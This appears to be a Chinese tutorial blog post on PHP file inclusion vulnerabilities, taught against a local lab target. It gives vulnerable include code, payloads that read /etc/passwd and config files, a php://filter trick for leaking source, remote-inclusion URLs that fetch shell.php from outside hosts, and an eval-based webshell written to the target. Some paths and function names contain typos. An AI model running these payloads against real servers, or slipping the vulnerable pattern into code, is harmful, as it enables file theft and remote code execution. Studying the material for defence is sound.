文件包含漏洞原理

介绍

文件包含漏洞通常由于未充分验证和过滤用户输入而引起。被攻击者通过php代码中include 、include_once 、require 、require_once函数,引入用户输入的指定文件,攻击者可以通过操纵文件包含机制,将恶意文件的内容包含到应用程序的执行环境中。

一本地文件包含

1靶机源代码
//定义get请求变量
$filename = $_GET['filename'];
//使用include
include $filename; //或include_once,requrie, requrie_once
​
echo "1111"
​
​
2利用条件

php.ini 中 allow_url_fopen=On (默认开启)

用户参数可控且后台diamagnetic没有对包含的文件进行过滤

3利用方式(payload)

1.http://192.168.106.137/security/fileinc.php?filename=/etc/password

原理

  1. 用户请求URL:http://127.0.0.1/security/fileinc.php?filename=/etc/password

  2. 服务器接收请求并解析URL,提取出参数 filename 的值为 /etc/password

  3. 服务器使用用户提供的参数值 /etc/password 构建文件路径。

  4. 服务器执行文件包含操作,尝试包含指定的文件 /etc/password

  5. 如果应用程序未对用户提供的参数进行充分验证和过滤,攻击者可以通过在 filename 参数中传递任意文件路径来包含任意文件,如 /etc/password

  6. 攻击者成功包含了 /etc/password 文件,服务器读取该文件的内容并将其返回给攻击者或在应用程序中进行处理。

2.http://127.0.0.1/security/fileinc.php?filename=/opt/lampp/etc/httpd.conf

原理同1

3.http://127.0.0.1/security/fileinc.php?filename=login.html

原理同1

4.http://127.0.0.1/security/fileinc.php?filename=/opt/lampp/logs/access_log

原理同1

5.http://127.0.0.1/security/fileinc.php?filename=../../../../etc/passwd

原理同1,使用相对路径

6.http://127.0.0.1/security/fileinc.php?filename=php://filter/read/convert.base64-encode/resource=common.php

原理

  1. 用户请求URL:http://127.0.0.1/security/fileinc.php?filename=php://filter/read/convert.base64-encode/resource=common.php

  2. 服务器接收请求并解析URL,提取出参数 filename 的值为 php://filter/read/convert.base64-encode/resource=common.php

  3. 服务器使用用户提供的参数值 php://filter/read/convert.base64-encode/resource=common.php 构建文件路径。

  4. 服务器执行文件包含操作,尝试包含指定的文件 php://filter/read/convert.base64-encode/resource=common.php

  5. 在该示例中,使用了 php://filter 协议来读取文件,并应用了 convert.base64-encode 过滤器将文件内容转换为Base64编码。

  6. 这样,服务器读取 common.php 文件的内容,并对其进行Base64编码,然后将编码后的内容返回给客户端。

该实例利用了 PHP 的 php://filter 协议和 convert.base64-encode 过滤器,将文件内容以Base64编码的形式返回。通过这种方式,可以绕过直接读取文件内容的限制,而是读取经过编码的文件内容。

二远程文件包含

1利用条件

php.ini中allow_url_fopen=On(默认开启)和allow_url_include=Off (默认关闭)要开启

用户参数可控且后台代码没有对包含的文件进行过滤

2利用方式(payload)

1.http://127.0.0.1/security/fileinc.php?filename=http://www.xxxxx.com/muma.php

原理:

  1. 用户请求URL:http://127.0.0.1/security/fileinc.php?filename=http://www.xxxxx.com/muma.php

  2. 服务器接收请求并解析URL,提取出参数 filename 的值为 http://www.xxxxx.com/muma.php

  3. 服务器使用用户提供的参数值 http://www.xxxxx.com/muma.php 构建文件路径。

  4. 服务器执行文件包含操作,尝试包含指定的文件 http://www.xxxxx.com/muma.php

  5. 如果应用程序未对用户提供的参数进行充分验证和过滤,攻击者可以构造恶意的远程URL来包含任意文件。

  6. 在该示例中,攻击者试图包含位于 http://www.xxxxx.com/muma.php 的远程文件。

2.http://127.0.0.1/security/fileinc.php?filename=http://192.168.110.120/learn/shell.php

原理同1

3.http://127.0.0.1/security/fileinc.php?filename=http://192.168.110.120/learn/shell.php?code=phpinfo();

  1. 用户请求URL:http://127.0.0.1/security/fileinc.php?filename=http://192.168.110.120/learn/shell.php?code=phpinfo();

  2. 服务器接收请求并解析URL,提取出参数 filename 的值为 http://192.168.110.120/learn/shell.php?code=phpinfo();

  3. 服务器使用用户提供的参数值 http://192.168.110.120/learn/shell.php?code=phpinfo(); 构建文件路径。

  4. 服务器执行文件包含操作,尝试包含指定的文件 http://192.168.110.120/learn/shell.php?code=phpinfo();

  5. 在该示例中,攻击者试图包含位于 http://192.168.110.120/learn/shell.php?code=phpinfo(); 的远程文件。

  6. 攻击者在参数中附加了额外的代码 ?code=phpinfo();,意图执行 phpinfo() 函数。

三利用包含文件写木马

//在任意服务器上写入一段木马程序

file_put_contents("temp.muma.php",'<?php @eval($_GET["code"]);  ?>');
//eval 函数用于执行传递给它的字符串作为 PHP 代码。在这种情况下,eval 函数会尝试执行 GET 请求中名为 code 的参数所包含的 PHP 代码。
file_put_contents("temp.muma.txt",'<?php @eval($_GET["code"]);  ?>');

示例:

http://127.0.0.1/security/fileinc.php?filename=http://192.168.110.120/learn/shell.txt

注意:远程包含所包含的文件名必须是不可执行的,比如.txt,如果是.php文件则会直接在本地执行

但是由于系统会直接吧=后面的整体当成一个参数,使用?连接参数是无法执行的,需要使用&符号进行连接连接

例:http://127.0.0.1/security/fileinc.php?filename=http://192.168.110.120/learn/shell.txt&code=phpinfo();

接下来编辑shell.php

<?php 
 file_put_contents("temp/muma.php",'<?php @eval($_GET["code"]); ?>');   
//使用file_put_contents函数将<?php @eval($_GET["code"]); ?>写入到目标服务器的temp/muma2.php文件中去
 ?>

此时已经将muma.php写入目标服务器,再利用即可

http://127.0.0.1/security/fileinc.php?filename=temo/muma.txt&code=phpinfo();

或者使用POST请求写木马

file_put_contentts("temp/muma.txt",'<?php @eval($_GET["code"]);  ?>');

在发送POST请求:参数为code=phpinfo();

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值